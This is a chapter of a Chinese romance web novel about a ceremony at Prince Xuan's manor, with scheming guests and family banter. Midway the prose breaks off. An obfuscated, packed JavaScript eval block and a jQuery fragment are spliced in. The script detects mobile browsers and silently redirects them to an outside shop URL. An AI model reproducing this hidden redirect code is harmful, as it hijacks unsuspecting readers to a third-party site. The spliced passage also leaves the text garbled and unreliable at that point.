及笄礼如期而至。
当日晨。
宣王府内外宾客络绎不绝,身后外来的奴仆扛着一箱箱的金银珠宝首饰踏进了府内。
漆红的箱子流水般被送进了库房,管库房的下人笔头子都冒烟了,险些把自己的手写断了。
只是才歇口气,转念想到最近心情大好给他们送了很多银票的王爷,便又来了斗志。
为了钱!
管家满意地收回视线,接着继续迎客。
赵老爷来得早,几乎是在头几位入的场,身后跟着赵夫人,手中捧着备好的礼,笑盈盈地递到了管家手中:“有劳。”
管家不咸不淡地接过礼递给身后:“请便。”
“关二,给赵老爷带路。”
他身后其貌不扬的小厮上前,点头哈腰地对赵老爷笑:“您跟我来。”
赵老爷笑的很勉强,跟在关二身后一肚子怨气。
初来锦州就得罪了宣王,以至于他在锦州的生意处处受限,总有明里暗里不知道哪里冒出来的人阻挠他,要么就是卡着他的货源,要么就是叫他无法正常开门做生意,多且烦。
虽说不会沦落到让生意受到重创甚至关门闭户的地步,但次数一多,就是他也忍不住。
赵老爷心知肚明,这些事无非都是韩云暻做的,只是他寄给宣王府的拜帖都石沉大海了无音讯,更别提能够登门致歉了。
前不久宣王公告了锦州,将为家中妹妹筹备及笄礼,本不抱希望,不成想第二日就收到了请帖。
这可是个好机会。
无论他来锦州到底是带着什么任务来的,他都需要先将自己的生意拯救起来。
赵老爷的眼神逐渐坚定,跟着关二迈步向前。
眼看着赵老爷的身影走远,管家收回视线,轻嗤一声。
不多时,杜、胡和李三家几乎是前后脚同时赶来的。
杜夫人知道自己女儿究竟什么秉性,故而一下马车就紧紧抓着她的手臂,不许她离开自己身边半步。
杜青初不满的跺跺脚,但父母亲都在左右盯着,她根本没办法逃脱……只能希望她安排的人能给力点,寻个办法溜进来吧。
她可是安排了一出好戏,是专送给韩怜姝的及笄礼呢。
李钰莹并不知道自己的朋友做的小动作,否则说什么也会阻止她。
她将请帖塞入随身婢女的手中,扭头看了眼被押着的杜青初,面带同情。
胡流云:“王爷对怜姝的确上心,竟大费周章,加班加点赶出来如此盛大的及笄礼,还特地请了周围的名门望族来撑场面。你不考虑劝劝她吗?何必在一棵树上吊死了。”
李钰莹无奈摇头:“劝过,没用……她就是死脑筋,认准了要宣王的,我看他除了脸和权势,也没有哪里好吧。”
“……”胡流云瞥她一眼,“你这话说的,怎么好似他没有缺点了似的。”
“有啊。”李钰莹仰头看了眼牌匾。
王府牌匾的题字是皇帝亲笔,昭示着皇帝对宣王的看重,若他暗中站队哪边皇子,显然是一大助力,所以各方都盯着他,生怕他去了别处、站了自己对立方。
最简单的办法就是——
除之而后快。
这样的一个香饽饽,又长着俊美的脸蛋,无论是锦州内外,甚至是京城的待嫁女,都有对他有意的。
只是除了这点外,韩云暻显然不算个好人。
他睚疵必报,只是性情冷漠,轻易不出手回击。
他脾气也不算好,每每一蹙眉,必是不耐烦的前兆,轻则钱袋子大出血,重则……举家上下都不见得好过。
虽说他对姑娘们耐心会多一点,但显然也没那么多……否则也不会在媒婆们第十四次上门是,就在府门上贴:
媒婆与狗不得入内。
这不纯羞辱人吗?
给锦州内的媒婆们都气得摔了碗,再也不接他的单子。
要相看?自己想办法去!
但宣王除了处理公务,平日里也就是窝在自己府上,哪里有机会想办法见面的,宴会不出席,灯会不出场,就连世家的邀约也很少接受。
如此情况下,怎么见面,怎么培养感情?
这也是韩云暻独身一人至今的原因。
没成想半路杀出来个表亲,堂而皇之地住了进宣王府,被宣王百般宠爱,还昭告天下——
这是被他捧在手心上的妹妹。
无论未来会是什么身份,旁人都不能将她看轻了。
李钰莹叹了口气,她摇摇头,提着裙摆迈过门槛:“走吧。”
胡流云若有所思地看了她一眼,又看了眼另一边眼神带了几分得意的杜青初。
不知为何,她总觉得有大事即将发生。
眼看着李钰莹已经走出几里,她便也迈步跟了上去。
……
府外宾客陆陆续续赶来,韩怜姝还睡眼朦胧地被按在椅子上梳妆打扮。
陈无霜倒是神色激动,昨日拉着韩怜姝试了几十套衣裳犹嫌不足,最后要不是韩云暻赶回来了,也不知要试到什么时候。
她摸摸韩怜姝的手:“明日也不知要来多少媒婆。”
韩云暻脸色一黑:“我一会就将那纸贴上去。”
那张媒婆止步的纸他还收在书房屉中,正好能派上用场。
陈无霜翻个白眼:“你自己不愿成婚还要碍着怜姝了,今日青年才俊如此多,指不定就有怜姝喜欢的呢?”
“谁?”韩云暻神色警惕,脑中闪过好几个适龄男子的脸,在心底给他们的脸画叉。半晌,他哼了一声,“怜姝去别人家还得过寄人篱下的生活,还不如就留在府上,也省得看人脸色。”
“不要那么绝对,指不定就有家风和睦的,叫怜姝过去也当个掌上明珠。”陈无霜拍拍自己,“这个放心,怜姝出嫁之前,我会去将对方家里的情况打探得一清二楚,必不会叫她吃亏。”
韩云暻冷笑:“知人知面不知心,天下有哪个男人是好东西,婚前装一装,往后一两年你能管,往后一辈子呢?你还能盯着那男人看吗?”
“怜姝就是一辈子不嫁人我也能养得起,不用你瞎操心把她送去别人家。”
陈无霜觉得也有道理,但韩云暻总不可能一辈子不成亲吧,未来夫人不喜欢怜姝怎么办?
只是她看了眼昏昏欲睡的韩怜姝,到底没说出口。
以后的事情以后再谈吧,大不了她把怜姝接回家,她自己养着。
哎,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213748|193174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
陈无霜有些发愁地摸了摸韩怜姝乌黑的长发。
韩怜姝眨眨眼:“什么嫁人,谁要嫁人?”
韩云暻:“……”
陈无霜:“……”
她无奈扶额。
得了,这妮子根本就没清醒呢。
“上次问莹莹姐姐嫁人是什么,她也不与我说。所以,嫁人到底是什么?”
陈无霜不知道该怎么解释,但是听她这么说,倒真有几分觉得也许不让韩怜姝嫁人是对的。
等到她和姑爷入洞房,问出“你为何在我房中不离开”这样的话,真不知道该叫谁来解释。
韩云暻到底哪里捡来的她?
屋内一时寂静,鸦雀无声,最后是嬷嬷出来打圆场:“有什么想知道的晚些礼成散场后奴婢都和表小姐解释了,表小姐,现在该起身去换衣来。”
韩怜姝打个哈欠,点头起身。
至于站在她身后的两人……
自然是被嬷嬷请了出去。
两人站在门外面面相觑,相互哼了一声。
陈无霜双手抱胸,十分鄙夷:“别以为我不知道你什么心思,对自己的妹妹下手……真是人面兽心。”
韩云暻不可置信地指着自己:“我对怜姝下手??”
真要算起来……还是韩怜姝对他下的手呢!
他最多算个从犯。
他只是不愿让怜姝伤心,不愿让她去外头找那些不知底细男人……仅此而已。
他对韩怜姝绝没有非分之想。
只是当作妹妹看待,哪里会觊觎她?!
陈无霜对他的话一个字都不信:“当年你大哥也是这样,说是绝对不会喜欢我。但在不知道哪里听来说我接了别人家媒婆的拜帖,就急得大半夜拉着你爹娘来提亲了。”
韩云暻:“……”那是他哥,他绝不会这样。
“那我给怜姝找个和你一样的夫婿,对她好只爱她,你可不要阻拦。”
“……那又不一样。”韩云暻有些郁闷,“这天底下还能有比我对怜姝更好的人吗?”
他说这话倒是理直气壮。
本就如此嘛,韩怜姝什么要求他都满足了,要什么给什么,甚至她要骑到他头上、让他在她面前跪下来,他都愿意。
还有人能够如他一般?
韩云暻不信。
陈无霜想了想,倒是的确无法反驳。
沉默片刻,她只问:“你真决心要留她在身边一辈子?”
韩云暻点头。
“单单以妹妹的身份?”
韩云暻还是点头。
“若你未来娶了妃,她不喜欢府中有其他未婚姑娘,你该如何在两人之间抉择?”
陈无霜跟看渣男一样看他:“还是说你有心坐享齐人之福?”
韩云暻思索:“这天底下,还有能配得上本王的?”
陈无霜:“……”
有病!她就不该和韩云暻说这种话,自恋到没边了!
韩云暻负手而立。
只是脑中不合时宜地想到了韩怜姝。
以往他还能信誓旦旦说无人配得上自己,如今……
不。
他们只是兄妹。
仅此而已。